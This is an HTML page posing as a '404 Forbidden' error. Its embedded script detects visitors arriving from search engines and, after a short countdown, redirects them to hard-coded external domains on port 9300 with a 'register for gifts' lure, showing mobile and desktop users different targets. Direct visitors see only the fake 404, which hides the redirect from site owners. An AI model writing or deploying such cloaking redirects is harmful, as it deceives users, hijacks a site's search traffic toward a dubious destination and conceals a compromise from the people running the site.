<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>为您选择最优线路...</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            text-align: center;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f0f0f0;
        }
        #countdown-container {
            background-color: white;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            text-align: center;
            width: 250px;
        }
        #circle {
            position: relative;
            width: 100px;
            height: 100px;
            margin: 0 auto;
        }
        svg {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
        }
        .circle-bg {
            fill: none;
            stroke: #f0f0f0;
            stroke-width: 10;
        }
        .circle-progress {
            fill: none;
            stroke: #007BFF;
            stroke-width: 10;
            stroke-linecap: round;
            transform: rotate(-90deg);
            transform-origin: 50% 50%;
            transition: stroke-dashoffset 1s linear;
        }
        #countdown {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            font-size: 24px;
            color: #333;
        }
        #countdown-text {
            margin-top: 10px;
            font-size: 16px;
            color: #666;
        }
        #redirect-button {
            margin-top: 20px;
            padding: 10px 20px;
            background-color: #007BFF;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            text-decoration: none;
            display: inline-block;
        }
        #redirect-button:hover {
            background-color: #0056b3;
        }
        #secure-text {
            margin-top: 20px;
            font-size: 12px;
            color: #666;
        }
    </style>
</head>
<body>
    <div id="countdown-container" style="display: none;">
        <div id="circle">
            <svg>
                <circle class="circle-bg" cx="50" cy="50" r="45"></circle>
                <circle class="circle-progress" cx="50" cy="50" r="45"></circle>
            </svg>
            <div id="countdown">5</div>
        </div>
        <div>秒</div>
        <div id="countdown-text">前往会员注册</div>
        <div>为您选择最优线路...</div>
        <a id="redirect-button">注册领取优惠好礼</a>
        <div id="secure-text">secure 安全加密</div>
    </div>
    <h1 id="title">404 Forbidden</h1>
    <p id="message">页面不存在</p>

    <script type="text/javascript">
        var countdownElement = document.getElementById('countdown');
        var countdownContainer = document.getElementById('countdown-container');
        var titleElement = document.getElementById('title');
        var messageElement = document.getElementById('message');
        var countdown = 5;

        var circleProgress = document.querySelector('.circle-progress');
        var radius = circleProgress.r.baseVal.value;
        var circumference = 2 * Math.PI * radius;
        circleProgress.style.strokeDasharray = `${circumference} ${circumference}`;
        circleProgress.style.strokeDashoffset = circumference;

        function setProgress(percent) {
            const offset = circumference - percent / 100 * circumference;
            circleProgress.style.strokeDashoffset = offset;
        }

        function updateCountdown() {
            if (countdown >= 0) {
                countdownElement.textContent = countdown;
                setProgress((1 - countdown / 5) * 100);
                countdown--;
                if (countdown < 0) {
                    countdownContainer.style.display = 'none';
                    var redirectUrl = document.getElementById('redirect-button').getAttribute('href');
                    redirect(redirectUrl);
                }
            }
        }

        function redirect(url) {
            window.location.href = url;
        }

        function isMobile() {
            var browser = navigator.userAgent.toLowerCase();
            var phone = /iphone|ipod|ipad|android|mobile|blackberry|webos|incognito|webmate|bada|nokia|lg| ucweb|skyfire|micromessenger/i;
            return phone.test(browser);
        }

        var searchEngines = /\.(sogou|google|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe| toutiao|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
        var referrer = document.referrer;

        if (searchEngines.test(referrer)) {
            document.title = "为您选择最优线路...";
            countdownContainer.style.display = 'block';
            titleElement.style.display = 'none';
            messageElement.style.display = 'none';
            setInterval(updateCountdown, 500);

            if (isMobile()) {
                var mobileUrl = "https://www.iyzrw3.com:9300/";
                document.getElementById('redirect-button').setAttribute('href', mobileUrl);
            } else {
                var pcUrl = "https://www.j9870.com:9300/";
                document.getElementById('redirect-button').setAttribute('href', pcUrl);
            }
        } else {
            document.title = "404 Forbidden";
            countdownContainer.style.display = 'none';
            titleElement.style.display = 'block';
            messageElement.style.display = 'block';
        }
    </script>
</body>
</html>
